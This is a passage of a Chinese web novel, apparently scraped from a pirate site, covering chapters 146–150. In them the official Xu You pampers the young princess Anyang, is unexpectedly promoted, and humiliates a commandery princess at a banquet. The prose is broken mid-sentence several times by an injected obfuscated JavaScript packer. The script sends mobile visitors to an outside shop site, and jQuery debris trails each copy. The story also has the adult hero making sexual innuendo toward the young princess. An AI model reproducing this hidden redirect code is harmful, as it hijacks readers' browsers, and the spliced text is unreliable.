“封锁相国寺,所有钱财账目一一核对,所有物件和金银等,也全部收缴,待查明详细后,再作处置!” “另,此案涉及皇室,所有卷宗封存,不得本官命令,任何人不得擅动,本官会亲自上报刑部!” 一条条命令,有条不紊的从他口中罗楚。 四周官员面带寒噤,他们不是怕许攸,而是在天子走后,也看到了满屋子的渎衣。 有的人甚至找到了自己失散多年的妻女,还有的则是看着渎衣,默默流泪。 他们,都被卢氏给羞辱了,体无完肤的羞辱。 复仇火焰在他们心底滋生,一个个看着屋内的渎衣,恨不得把空寂脑袋接上,再砍个几百次。 李昌狗搂着身体走出禅房,在临出门时,他突然停下脚步。 “许大人,此事尚未结束,卢氏会灭,任何人都挡不住。” “若是你再敢如此,谁也救不了你。” 世家有世家的威严,作为超然的存在,李昌代表的不仅仅是自己世族。 许攸没言语,只是淡淡一笑。 世家也罢,门阀也好,皇亲国戚也无所谓,只要惹了他,谁都别想跑。 他光脚的,还能怕这些穿鞋的? 处理相国寺一事,用的时间比许攸想的还要久,至于抓人,他到没费力气,连那位卢氏的老祖宗,都被梁王亲自送到京兆府。 面对许攸,梁王只是拱手道了一声歉,随后就消失无踪。 “奶奶的,这群狗东西,把老爷当狗遛!” 许攸反应过来,他居然成了枪,被王亮遛了一遍,又被梁王遛了一遍。 不过他也不介意,反正卢氏的事情到此结束,卢氏满门珠帘,时间就订在明日,追捕卢氏剩余人等的圣旨,也从三省发往各地。 凡是包藏卢氏,就等同于谋反! 一直忙到黄昏,许攸这才优哉游哉往自己府邸走。 刚到府邸门口,他便愣住了。 府邸门口居然停着一辆马车,马车周围有十二名玄甲卫,远处还有上百禁卫。 在府邸门口,四名宫女太监左右人立,看样子是来了不少时间。 难道天子来了? 许攸瞪着眼,正猜测到底是谁这么大的阵仗,府邸大门吱吖一声,缓缓打开。 “老爷,今日有贵客登门,曦月不敢怠慢,还请老爷责罚。” 白曦月眼神闪烁,不敢和许攸对视,忙小跑着来到门口迎接。 “贵客?” 许攸嘴角噙着笑,他知道白曦月的身份,之所以没动,是他现在和恭王没什么恩怨。 “谁来了,这么大的阵仗,难不成是陛下亲自到访?” 今日临走前,女帝对他可没什么好脸色,现在过来,难不成是找茬? 白曦月的表情古怪,她以为自己想的就够多,哪知道自家这位老爷,真不要脸的。 “不是陛下,是……是另外一位贵人。” 这更让许攸摸不着头脑。 如此大阵仗,还是皇亲国戚,这还能有谁? 他在长安城内,一没什么朋友,二没什么亲戚,唯一有的就是罗网。 “难道是她?” 想到那个娇小身影,他还是摇摇头,将杂念给抛出脑后。 别说现在这位不可能出现,就是能出现,也不会在这个时间点,出现在这里。 许攸摇头晃脑进入到宅院,刚进入的瞬间,他便呆住,脚步猛地一顿,呆呆看向眼前。 眼前的树荫下,一道纤细身体,正躺在他专属躺椅上摇啊摇啊。 身影很瘦小,脸颊红润,狭长眸子抖动,一双明亮的眸子,时不时看向一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036573|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼门口。 四目相对,那双眸子中,立刻浮现出惊喜,眼底的眸光绽放,月牙般的笑容,也出现在她娇嫩脸颊两侧。 “许攸!” 小女起身,甜甜的嗓音,给人一种如沐春风的感觉。 许攸愣了下,他总觉得,要么他傻了,要么秦曦傻了。 “你怎么来了?” 对于这位公主殿下,许攸是打心眼地的喜欢。 只是这节骨眼,明显不合适对方出宫,怕是现在盯着她的,不知道有多少。 见他还在发呆,小公主撅起嘴,不满的跑到他面前,举起小拳头,对他手臂捶了下。 “讨厌,我都等了好长时间,都困了。” “你怎么到现在才回来?” 秦月的语气亲昵,完全没有半点生疏感。 看着她那张俏脸,许攸伸出手,摸了摸她的小脑袋。 “胡闹,你怎么敢这个时候跑出来的?” 面对小公主,他可没多少负担,伸手捏捏小公主的脸颊,又拽拽她的头发。 “这头发谁帮你梳的,怎么弄得这么丑?” “我送你的发簪呢?” 许攸冲着走出来的胭脂吆喝句。 “胭脂,弄盆水,顺便把我打的那套簪子拿过来,再拿个梳子和镜子过来。” 吩咐完这句,他便熟练的当着白曦月以及秦月两个贴身侍女面,堂而皇之将小公主按在石凳上。 “天气转凉,也不知道多穿点。” “秋捂春冻,你身子骨弱,连衣服都不知道多穿点,生病了怎么办?” 他就和老父亲一般,站在小公主身后,十指插过发丝,轻柔将三千烦劳丝给理顺。 这一幕,直接把白曦月和两个侍女看傻。 三人脸色发白,身体颤颤巍巍,就差直接跪下。 眼前可是天子掌上明珠,大唐仅有的一位公主,而如今许攸居然如此放肆! 三人屏住呼吸,生怕下一秒触怒天威。 然而,小公主眨巴眨巴眼睛,嘴巴觉得更高。 “你都不来看我,我在宫里好无聊。” “哼哼,这次我可是奉旨前来!” “许攸,听旨!” 第一百四十六章 许攸的宠溺 许攸脸上表情不断变化,看着眼前俏生生站在面前的小公主,有点哭笑不得。 “听什么旨,居然敢唬我,小屁股想开花了是吧?” 小公主闻言,俏脸通红,伸手捂住屁股,俏皮的吐吐舌头。 “讨厌!” “你不要,我就和姐姐说,说你抗旨不遵。” 说罢,她真从兜里,掏出张卷轴。 许攸脸上表情那叫个精彩。 “哎哟,我的公主殿下,您这是说什么话,什么叫做抗旨不遵,下官那不是不知道吗?” “来来来,您看看需要什么,要不要下官驮着您?” “胭脂,快!快给咱们公主殿下,准备上糖果,免得公主殿下说咱们招待不周。” 旁边的白曦月等人,都看傻了。 谁都知道小公主身份尊贵,不但是公主,还是天子心中的挚爱。 但许攸这嘴脸,也太离谱了。 小公主很受用,眯起眼站在石凳上,得意的点点头。 “免礼免礼,本宫此次前来,是代替姐姐宣旨,许大人不用如此大礼。” “我要吃梨子味道的,还要杏花糕,棉花糖,还有糖酥。” 许攸无语,真是给脸就上墙。 他一把将小公主给抱住,快速放到地上。 “吃吃吃,再吃就成大胖丫头了。” “快把圣旨给我,陛下到底给我准备了什么?” 虽然被许攸抱下来,小公主依旧是笑眯眯的表情,脸上从未有半点生气。 她伸出小手,指向庭院西北角。 “姐姐说你在长安内,没有什么亲人,马上就是冬至,便让我给你送些用度。” “那个箱子是上好的绸缎,你让胭脂姐姐给你做两身衣服,别整天穿个官袍四处乱跑。” “还有些金银,虽然你不在意,但也是姐姐的心意。” 小公主掰着手指,一件件开始宣布礼物的安排。 许攸眼神中浮现出疑惑。 奇怪,难道女帝还有其他小算盘? 刚才在寺庙中,他因为建安郡主的事情,得罪了秦曦,现在这份礼物,又是什么意思? 看不懂,太看不懂了! 卖弄完自己的小心思,小公主扬起头,等待许攸的夸赞。 可她看到的是一抹深沉,以及满脸凝重。 “许攸,你在看什么?” 许攸收回视线,看向眼前的小公主,脑海内生出个荒谬的想法。 “殿下,你今年多大?” 小公主低下头,掰开手指算了算,俏脸也变成了绯红。 按照大唐的年龄划分,她这个年纪,已经可以出嫁。 虽然有点荒谬,但确实是如此。 在她心中,自然有个心心念念的存在。 想到未来的夫君,她的脸颊更红,连耳根都变得赤红。 许攸也看到了,见到自己猜想要成正,他急忙深吸一口气,将心里的烦躁压下去。 “小丫头你想什么,你才多大,就开始想男人了?” “哼,要你管!” 小公主小心思被拆穿,羞的没钻到地下去。 许攸也不拆穿,拉着她坐到石凳旁边。 没多久,就见到桌上多了不少吃的,有各种糕点,还有小公主心心念念的棉花糖。 许攸拿着梳子,站在她的时候,梳子自上而下,轻柔带起一缕发丝。 “殿下,陛下她打算如何惩处建安郡主?” 小公主眨巴下眼睛,这个问题她也不知道。 “姐姐对我们很好,对建安姐姐也很好。” “自从建安姐姐和李侍中长子结亲,姐姐便破例让她开府,在长安城内修了一座宅子。” “现在宫中还有一座建安宫,也是姐姐特意留下。” 许攸更加疑惑,连手中动作都变得缓慢。 建安郡主出阁后,就从公主降为郡主,这也是礼制礼法。 但郡主身份享受公主府,这绝对是天子的厚爱。 如此关系,秦曦不但不惩处他,反而还派安阳公主送了一大堆礼品,甚至还有一道圣旨。 这算是什么事? 许攸想了半天,也没想明白,秦曦这算盘内,到底打的什么主意。 想不明白就不想,这就是他处事的院子,如今功德保住了,接下来就是如何死才是正题。 “殿下,你吃完就早些回去,天快黑了,回去太晚不安全。” 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036574|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今长安城内的局势诡谲莫测,许攸担心小公主回去会遇到刺客,打算催她早点回去。 正在吃着棉花糖的小公主,闻言俏脸上浮现出不满。 “不行!” “臭家伙,大坏人!” “本公主在你这里等你半天时间,你居然赶人家走,我就不走!” “不走,就不走!” 她这娇憨的模样,没有半点刁蛮,反而充满了俏皮。 许攸无奈摇头,对小公主的喜爱,他是打心眼地。 “那你要我怎么补偿你?” “我可是一夜没休息,打算吃完饭就休息,你要是不回去,那只能留下。” “难不成咱们的小公主殿下,也想男人,打算陪我睡觉?” 羞……羞**! 小公主呜咽一声,俏脸迅速升温,眼神也变得迷离。 刚端着水盆过来的白曦月,听到了这话,扑通一声跪倒地上,俏脸白的吓人。 至于小公主的侍女,也跪在地上,几人都被这话给吓了个半死。 可让他们的意外的时,小公主非但没动怒,反而羞涩的娇嗔。 “呸呸呸,羞不羞!” 那娇嫩的脸颊上,绯红和晚霞余晖交相辉映,更显的可爱和醉人。 “臭家伙,大坏蛋,登徒子。” “本公主才……才不会看上你,呸呸呸!” 说着,她打算起身,却发现头发还在许攸手里,气恼的小脑袋疯狂摇晃。 许攸呵呵直笑,一天的疲倦全部消散。 “我真困了,你要是不留下,那就早点回去。” “改天我去宫里,再给你准备好吃的,你看好不好?” 看到他脸上忍不住的疲倦,小公主也不是那种刁蛮任性性格,乖巧的点点头。 “那你去休息吧,我再留一会,等下就回去。” “行,我让胭脂给你准备两只荷叶鸡,吃完你早点回去。” 知道小公主喜欢吃,许攸冲着胭脂吩咐了一声。 他刚要起身,忽然发现自己的袍子被拽住。 “怎么,还有事?” 小公主低着头,小靴子踢动青石板,十指搅动衣裳下巴,一副欲言又止的模样。 第一百四十七章 晋升鸿胪寺少卿 “冬至那日,你有空吗?” 等了半天时间,小公主这才呐呐出声,声音低的吓人,要不是许攸靠近,他都没听到。 “过几日冬至,姐姐要举办一次宴会,你能不能陪我一起参加?” 参加宫廷宴会? 许攸皱起眉,虽然二十四节气,对于普通百姓而言,是个很重要的日子,但天子搞的如此隆重,怕是别有目的。 而且这聚会,肯定是皇亲国戚,世家门阀,王侯将相遍地走,他一个京兆府的府尹,怕不是连入门资格都没。 他想都不想,就想开口拒绝。 “我没……” 没时间三个字卡在喉咙,许攸的话语噎住。 他忽然想到,小公主这些年的遭遇,母亲早亡,父亲又突然包庇,亲姐姐**,留下的姐姐虽然宠爱,可面对太子残忍嗜血,还是给她留下了阴影。 这些年她在深宫中,一直深居简出,每天除了读书就是读书,小小年纪不但很懂事,还很体贴。 但她的身上是孤独的,比天子更加孤独。 看着眼前小公主眼底的期盼,许攸拒绝的话,卡在嗓子眼,怎么也说不出口。 和小公主在一起的日子,很轻松,两人就仿佛兄妹,可以随意打闹,可以随意的嘻嘻,没有任何的规矩。 冰冷的长安城,许攸幽幽叹息一声,这是除了胭脂外,第二个让他感到心安的存在。 “好好好,我答应你。” “真,真的吗?” 小公主开心的笑起来,眼角水光亮晶晶的,那灿烂的笑容,如同冬日阳光那般刺眼。 “会不会耽误你的事情,你要是有公务,不用陪我的。” 她依旧是那娇小可爱的小棉袄,没有因为自己的孤独,强行让许攸陪伴。 许攸心生感动,比起安阳公主,建安郡主那刁蛮和没脑子,差点让他以为,自己是在狗血剧内。 “没事,最近没什么大事,到时你来喊我,我陪你去一趟。” “好!” 小公主脸上再次露出笑容,愿望得到满足,她笑的很开心。 这种宴会,她也不喜欢,她只想安静的读书,或者和自己喜欢的人在一起。 想到和许攸相处的日子,她更加开心。 晚饭原本很简单,但有小公主在,许攸亲自下厨。 这又差点把白曦月看傻,都说君子远庖厨,自家这个老爷,太怪了。 一顿饭吃饱喝足,许攸一直将小公主送到皇宫门口,这才打着哈切回头。 “回去早点休息,少吃点糖。” “嗯嗯。” 小公主站在风中,恋恋不舍的冲着许攸挥手。 “天黑路不好走,你也慢点。” 宫门口的侍卫,一个个大眼瞪小眼,在看到小公主的神态,干脆装作什么看不到。 一夜无话,许攸直接睡到第二天中午,这才从床上爬起。 昨天的事情还在发酵,纸包不住火,虽然可以堵住悠悠之口,但相国寺是彻底完了。 今日他不打算直接去京兆府,而是打算去刑场,看看卢氏的惨状。 就在他要踏出家门,门外三道身影,匆匆从远处走来。 “许大人贵安。” 许攸皱起眉,大老远看到王公公,脸上浮现出了笑容。 “王公公贵安,不知今日到此,是所谓何事?” 王公公眯起眼,在许攸身上扫了眼,又挥手让身后的太监,将一身崭新官袍和绶带送上。 “咱家是来恭贺许大人。” 恭贺? 许攸看着眼前紫色官袍,眼底的疑惑更浓郁。 京兆府的府尹,算是正五品,不算高,但也不低。 眼前的紫色官袍,则是从四品,从官职上,比京兆府的府尹高半级。 但京兆府府尹手握大权,不但掌管京兆府,还有特殊的身份地位。 王公公也愣住了,看向许攸迷茫的表情,试探性的询问。 “难道许大人,还不知道今日需要去鸿胪寺点卯?” 什么?! 许攸险些没惊叫出声。 他不是京兆府的府尹,去鸿胪寺干什么? “那个,王公公,你这话是?” 他是真的懵,一夜不见,他升官了,连官职也变了,从京兆府的府尹,直接升到了鸿胪寺。 鸿胪寺属于特殊部门,能四品的,只有寺卿和少卿两位。 鸿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036575|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胪寺的寺卿,是正四品,而少卿则是从四品。 王公公脸色那叫个苦,他就知道,天子让他过来,肯定是没好事。 “陛下感念许大人功绩,特此嘉尚,破格提拔许大人为鸿胪寺少卿。” “至于京兆府府尹一职,则是许大人暂时顶替,等处理完此案,择日开始上任。” 鸿胪寺少卿,兼京兆府府尹? 许攸只感觉太阳穴突突。 从五品到四品,这道鸿沟不知道能够拦住多少人。 可他来长安才多久,这就到了四品,还是鸿胪寺的少卿。 “咱家恭贺许大人高升!” 许攸苦笑,这可不是高升,这是秦曦故意在**。 他本打算利用这次事情,先把卢氏拔掉,然后再跑去作死。 计划很好,现实很残酷,他压根没机会。 一道圣旨就把他作死计划,给彻底按死,连萌芽的机会都没。 “许大人,您今后就有了其他身份,陛下希望您不要继续如此莽撞行事,若是再有此事,你不妨知会一声。” “有些事,在长安城,可不是你想的如此简单。” “均衡。” 临走时,王公公丢出两个字。 许攸明白了,为何秦曦会如此作态。 他将皇家的遮羞布给扯开,连其他官员的脸面,也给全部撤掉。 现在这事肯定是满朝风雨,是留还是杀,成了大问题。 “多谢王公公。” 许攸深吸一口气,从兜里掏出张银票,塞入到王公公手里。 这次王公公没收,反而意味深长的看了眼许攸,这才起身往宫中赶。 许攸没事做,干脆往醉月花坊走。 前天他就把花船买下,洛水不愿意离开,认为身份低贱,跟在许攸身边不合适,甘愿留在花坊。 来到花船上,洛水将茶杯推过来。 “老爷,今日可是遇到了烦恼?” “是啊,你说卢氏为什么作死,为什么要在这个时候露头?” 许攸很不解,也很想知道答案。 “或许是天下大势,天子是女儿身,到了应嫁的年纪。” 闻言,许攸的眼神,变得冰冷。 第一百四十八章 有人欺负小公主 接下来的几天,许攸成了无事人,没事去京兆府坐坐,督促下面官员办案,再无事就跑去鸿胪寺。 鸿胪寺内也不是铁板一块,对于他的到来,有人欢喜,有人忧愁。 一连七天过去,他就这么过去,完全没找到作死的机会。 长安城内的温度,也随着天气变化,逐渐降低,街道上行人越来越少,大部分都穿上了冬衣。 虽然是京兆府府尹,但许攸现在手里的权利,已经不比之前,整个京兆府除了箫成外,都是对他忌惮入骨。 “冬至下雪,今年怕是不好过。” 天空中雪花缓缓落下,纷纷扰扰的雪花,带来的不是丰年,而是一场即将到来的灾害。 “果然是兴百姓苦,这个冬天,有的人要遭殃了!” 就在他感慨时候,门外出现道纤细身影。 “许大人,贵安。” 来人正是小公主,安阳公主。 今日的她,换上了冬装,红白相衬的短袄,内衬是一件宫裙,群裳厚重,下半身是一条红色棉裤。 满头青丝间,夹杂细密汗珠,一根碧绿发簪,斜插在发髻间,俏脸上没有任何粉黛,却更显娇嫩。 如此打扮并不像公主,反而像是个邻家小妹妹,俏皮可爱,充满青春活泼气息。 雪花散落在她肩头,又快速被融化,娇嫩的琼鼻,被冻的通红。 “今日下雪,起的晚了些。” 小公主不好意思的低下头,她是赖床不想起来,要不是记得约定,估计现在都不想起床。 许攸笑呵呵的起身,来到门口,将油纸伞打开,挡在她身前。 感受到他的气息,小公主更加不好意思,俏脸微微发红,局促不安的扭捏起身体。 “我……我今天,好看吗?” 许攸嘴角勾起,这小丫头果然是思春了,可惜两人身份不合适,即便是动了情,也只能狠心掐灭。 “好看,公主殿下是天下最好看的人。” “嘻嘻!” 得到许攸夸赞,小公主和吃了蜜一般的开心。 说起今日的宴会,许攸心里其实不乐意去的,这几天他和人打听过,大部分都笑而不语,知道的也不愿意说。 得不到答案,他更加郁闷。 “殿下,我们今日是去宫里吗?” “不是。” “不是?” 许攸眼睛眨巴下,不去宫里,那去什么地方? 很快他便有了答案。 上了车架后,一行人居然往长安城外走。 走了约莫一个时辰,车架在个山清水秀的庭院前停下。 庭院上有门匾,上书“仙居阁”。 在庭院两侧,有一道对联,往来车架不少,大多都是马车,每一辆都是金碧辉煌,将奢华和富贵展现的淋漓尽致。 来往人群也不一般,有身着儒袍的文人雅士,有身穿官袍的官员,还有身穿貂裘羊绒的富家千金和年轻俊少。 不过来往的人群,都有个特点,那就是很年轻。 这些人都没护卫,来到庭院门口,主动从车上下来,每个人脸上都充斥着兴奋。 许攸是摸不着头脑,参加个宴会,一个个激动的和相亲似的,这是闹什么? 跟在小公主身后,他就和个护卫似的,压根没引起人瞩目。 两人一前一后,进入到庭院内。 进入庭院,许攸又大吃一惊。 庭院内山清水秀,片片雪花自天空坠落,落在花丛间,也落在青石台阶和灯柱上。 小路蜿蜒曲折,两侧鳞次栉比,亭台楼阁错落,一条溪流涓涓流过,汉白玉吊桥上,更是早已站满了人。 有人在庭院中抚琴,也有人在花丛中吟诗,此间的景象,和外面截然不同。 正在许攸感慨世界不一样时候,一群女子从远处走来。 为首的五名女子,如同繁花,争奇斗艳。 “安阳妹妹,你可算来了。” “我们都等你半天,是不是今日又生了病,身体不舒服?” 为首女子身穿大红长裙,声音婉转妩媚,对安阳公主福了下身。 紧接着,其他四女也上前,每个都是笑盈盈的表情。 等众人行完里,为首的红裙女子,捂着嘴将目光落到许攸身上。 “安阳妹妹,这位是?” 另外 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小公主那遇到过这情况,脸颊血红一片,几乎要滴出血,连耳根都是红色,水汪汪大眼睛内,水雾弥漫,心里的委屈不断升起。 “殿下,你还未给我引荐,这几位是谁。” 许攸眯起眼,内心怒意不断上扬。 在他面前欺负小公主,就是不给他面子,这几个浪蹄子,一看就不是好鸟。 说着话,他伸手将小公主拽住,直接拉倒身侧挡住。 见他这嚣张跋扈模样,红裙女子的眼底,浮现出了冷傲色彩。 “不用安阳介绍,本宫乃清河郡主。” “这是我妹妹,青云郡主,另外两位是绿瑶和琼莱郡主。” 四位郡主! 剩下那名女子,身份也不简单。 “我爹乃是上将军蒙武,蒙氏蒙烟云。” 蒙武的女儿! 许攸嘴角上扬,今天这聚会真有意思。 若是他没记错,他似乎还有这几位其中两人的肚兜。 这可不是他怪癖,而是空寂的收藏品。 今天的聚会,似乎和他想的不一样! 第一百四十九章 跪下磕头道歉 安阳公主很尴尬,她本就小,而且身份特殊,她是现在大唐唯一一位公主。 其他的只能是郡主,哪怕和她同父异母,也只能是郡主。 清河郡主等人,也是她的姐妹,但命可不同,地位相差悬殊,难得有踩的机会,几人可不会放过。 “许府尹,我们姐妹难得见面,你先去其他地方,随意逛逛吧。” 许攸没出声,扭头看向了小公主。 小公主眼底露出祈求,显然是不想一个人留在此地。 见到她眼底的哀求,许攸挺直胸膛,依旧语气淡漠。 “不好意思,今日在下是来陪安阳公主殿下,诸位虽贵为郡主,可主次有别,属我无法奉陪。” 清河郡主几人都懵了。 几人也不算丑,在长安城也算是美女级别,追求的人能排几条街。 可她们听许攸的语气,那仿佛是路边的乞丐,连看都懒得多看一眼。 几人脸上都觉得挂不住。 “许府尹,你这话是什么意思?” “难道本宫等,在你眼中,连那些乞丐都不如?” 许攸没说话,只是淡定的淡定的点点头。 和乞丐比,这些天之娇女,也是够自信的。 他也懒得和这些金丝雀掰扯,伸手拉着小公主的手,转头就往另外一侧走。 “公主殿下,适才路过那边庭院,似乎有不少吃的,下官肚子有点饿了,我们去吃点吧!” 许攸说的话轻飘飘,但动作和脚步,都很坚定,从头到尾,都没给清河郡主几人面子。 这可把几人差点气炸。 她们都是郡主,最次的也是大将军的女儿,在长安成内的名望,可不是什么人都能比拟。 如今许攸居然摆出这个态度,还故意羞辱她们。 “许府尹,你或许没听清楚,本宫乃清河郡主!” “陛下亲封的郡主,和当今天子是同父异母的亲姐妹!” “现在本宫命令你,跪下!” 今日来的这里,都是文人和各家有名有姓的存在,要是许攸当着众人的面跪下,那可就成了长安城内的笑话。 凉亭中的动静,也吸引了不少人注意。 一群郡主和上将军家的千金,以及当朝公主,这场面必然会引起躁动。 如今的安阳公主,也到了出阁的年纪。 不少人都知道,当今天子还未打算纳妃,那么大唐下一任继承人,十有**就是这位小公主。 清河郡主居高临下,杏眸斜瞥,眼眸之中尽是鄙夷。 “怎么?” “许府尹,你怎么不说话,难不成是个哑巴?” 若是放在平日里,清河郡主或许会收敛,但现在她可不会收敛。 能踩安阳公主,还能踩个看不起她的贱奴,那感觉可是无比的舒爽。 “本宫说,让你跪下,难道你没听到?” 许攸是真不想惹事,不是他怕事,而是死不掉。 惹个郡主,这能有什么好? 不但死不掉,还背了一身骂名,他倒是无所谓,可小公主委屈巴巴的模样,让他心疼的很。 “清河姐姐,许攸他……” 小公主噘着嘴,她虽然懂事,可面对这种事情,她依旧无法处理。 许攸幽幽叹息一声,现实可是残酷的,小公主迟早要面对宫斗。 “你是谁,和本官有什么关系?” “放肆!” 清河郡主俏脸瞬间涨成紫红。 “你可知道,本宫乃郡主,要杀你,不过是一句话的事情!” “今日你居然敢当众羞辱本宫,本宫必定会上报天子,将你五马分尸。” 还能有这好事? 许攸勉强来了精神。 “那就请郡主快点,免得耽误了时辰,我喝不了孟婆汤。” “对了,今日陛下有朝会,以郡主的身份,怕是这时候入不了宫吧?” 大唐的朝会每三日一次,平日都是各部门的小会,或者直接前往御书房上奏。 许攸这种身份,哪怕是鸿胪寺少卿,也没资格上朝,整个鸿胪寺就一位,那就是鸿胪寺卿。 至于他的京兆府府尹,更加没资格,只能去找对应的部门。 如今宫中禁卫早已清洗,任何人想要进宫,都要经过仔细盘查,朝会期间,更是不得召见,无法入宫。 虽然许攸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054332|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的是实话,可这无疑是一巴掌,重重的打在清河郡主脸上。 众所周知,大唐内有个人例外,那就是安阳公主。 安阳公主乃天子亲妹妹,无论何时何地,都可以入宫,甚至可以入议政殿! 清河郡主俏脸已经成了紫红色,连脖颈都变成了赤红,胸口不停起伏,指着许攸的手,因为愤怒,不停颤抖着。 “放肆!” “本宫今日不杀你,誓不为人!” 许攸松开拉着小公主的手,无奈的摊开。 “那不好意思,你今天可能真不人!” 这下可不仅仅是清河郡主,其他郡主,以及看热闹的人,都诧异的瞪大双眼。 京兆府的府尹,不过是五品官,放在偏远地方,可能是个大官。可在长安城内,一巴掌下去,就是个四品,根本就不是什么官。 清河郡主忽然笑了,她本来就是想踩一顿,谁知道许攸自己找死。 今天不杀了许攸,她心口这口恶气,根本消不掉。 “许攸,本宫不想为难你,你现在下跪,给本宫道歉,本宫或许会考虑饶你一命。” “若是不然……” 话语到此结束,剩下的只有清河郡主的冷笑。 在场众人看着许攸,也露出了看好戏的表情,今日宴会还没开始,就有人敢得罪郡主,这好戏也很少见。 人群中有不少都是清河郡主的追求者,现在都用愤怒眼神盯着许攸。 在场除了小公主,没有人知道,许攸到底是谁,连他的名字都没听过。 “许攸算了,姐姐也是无心,你不要和他计较。” 小公主很聪明,她不想许攸因为她,而和清河郡主等人交恶。 许攸温和的笑笑,之前是他不想惹事,但现在他可改变了想法。 若是天子知道,他让个郡主跪下,那会是什么表情? 想到秦曦那恨不得杀了他的模样,许攸嘴角勾起淡淡的邪笑。 “公主无需多虑,今日我就给你表演下,什么叫做前倨后恭!” 闻言,清河郡主仰头大笑起来。 不过她的笑容,很快就僵住,笑声也卡在脸上。 第一百五十章 绿茶婊和舔狗组合 “你!” 清河郡主和见了鬼似的,呆呆看着许攸抬起的手。 “你怎么会有陛下的金令?” 众人闻言都瞪大眼,天子的贴身令牌,怎么会出现在个小小的京兆府府尹手里? 许攸表情猛地一变,冷冷将令箭举起。 “放肆!” “见令为何不行礼!” “莫非清河郡主是觉得自己高贵,可以压着陛下一头?” “还是说,你根本不把令箭放在眼底?” “那本官可就要入宫,将此事好好与陛下说道说道,看看你这个清河郡主的封号,是否能保得住!” 说到此处,许攸的语气再次一变,森寒的话语从他口中溢出。 “建安郡主封号被废不过几日,看来又有一位郡主,想要折在本老爷的手里。” “清河郡主,本老爷等着你,等你来取我的命!” 扑通! 清河郡主脸色煞白,她知道她要完了。 身为郡主,她也不干净,往日那些事情,她经不住细查,一旦真惹怒了眼前这位,她必然也要和建安郡主一个下场。 知道建安郡主下场的没几个,偏偏清河郡主知道。 “你……你究竟是何人?” 许攸冷笑一声,并未给出答案。 他手里的令箭,只有清河郡主几人看清楚,其他人距离较远,或者角度问题,并未看得清。 “今日饶了你,若是你再敢找事,别怪本老爷不客气!” 说完,许攸牵起小公主的手,头也不回的直接离开。 见到他走远,清河郡主一屁股坐下,宫裙被冷汗打湿,四肢冰凉无比。 她是第一次,觉得死亡距离自己那么近。 “不行,绝对不能让他活着离开!” “若是让他查出本宫的那些事,本宫必死无疑。” 想到此处,她艰难抬起头,看向同样满脸惊恐的青云郡主。 两人是姐妹,同父同母,可惜两人没秦曦那样的魄力,也正是因为如此,才在夺嫡中捡了条命。 “本宫身体不适,你们玩吧。” 丢下这话,清河郡主拉上青云郡主,快步朝着庭院深处走去。 与此同时刚走到庭院门口的王奋,得意的看向四周好兄弟们。 “各位,今日我可是邀请了清河郡主等,几位可要给我点面子。” 王奋本来被禁足在家,王亮是真怕他惹事。 上次惹了许攸,当时王亮不知道其身份,开始当做小事,直到自己心腹被许攸当面宰了,才知道惹了**烦。 好在建安郡主一事上,他勉强掰回一城,但也损失惨重。 今天王奋之所以能出来,那是因为天子同意了他和清河郡主的婚事。 过了春节,他就要和清河郡主完婚。 在场都是世家公子,能被王奋邀请,那都是和他一个级别。 “王兄你放心,今日我们肯定给你面子。” “连诗词,我都准备好了,昨日刚花五百两银子,请的大儒。” “我也准备了不少,今日咱们来个斗诗,到时候让王兄你拔得头筹,那清河郡主不得对你投怀送抱吗?” 王奋也想到自己在人群中,被众人簇拥走向清河郡主,那场面要多风光就有多风光。 难得有这样的机会,他必须装一波。 一行人没遇到任何阻拦,轻松进入到庭院内。 刚进去,王奋就觉得有点奇怪。 “怎么都到了巳时,宴会还没开始?” 按照往日的规矩,他们来的时候,应该是宴会开启,而不是现在这样。 庭院内人很多,但大部分人都兴致缺缺,四处游荡,根本不像是来参加宴会的。 就在他疑惑时,两道身影出现在他面前。 “在下见过清河郡主,青云郡主。” 王奋见到清河和青云郡主,快步上前两步,走到两人身边行礼问好。 他眼馋清河郡主许久,这次也算得偿所愿。 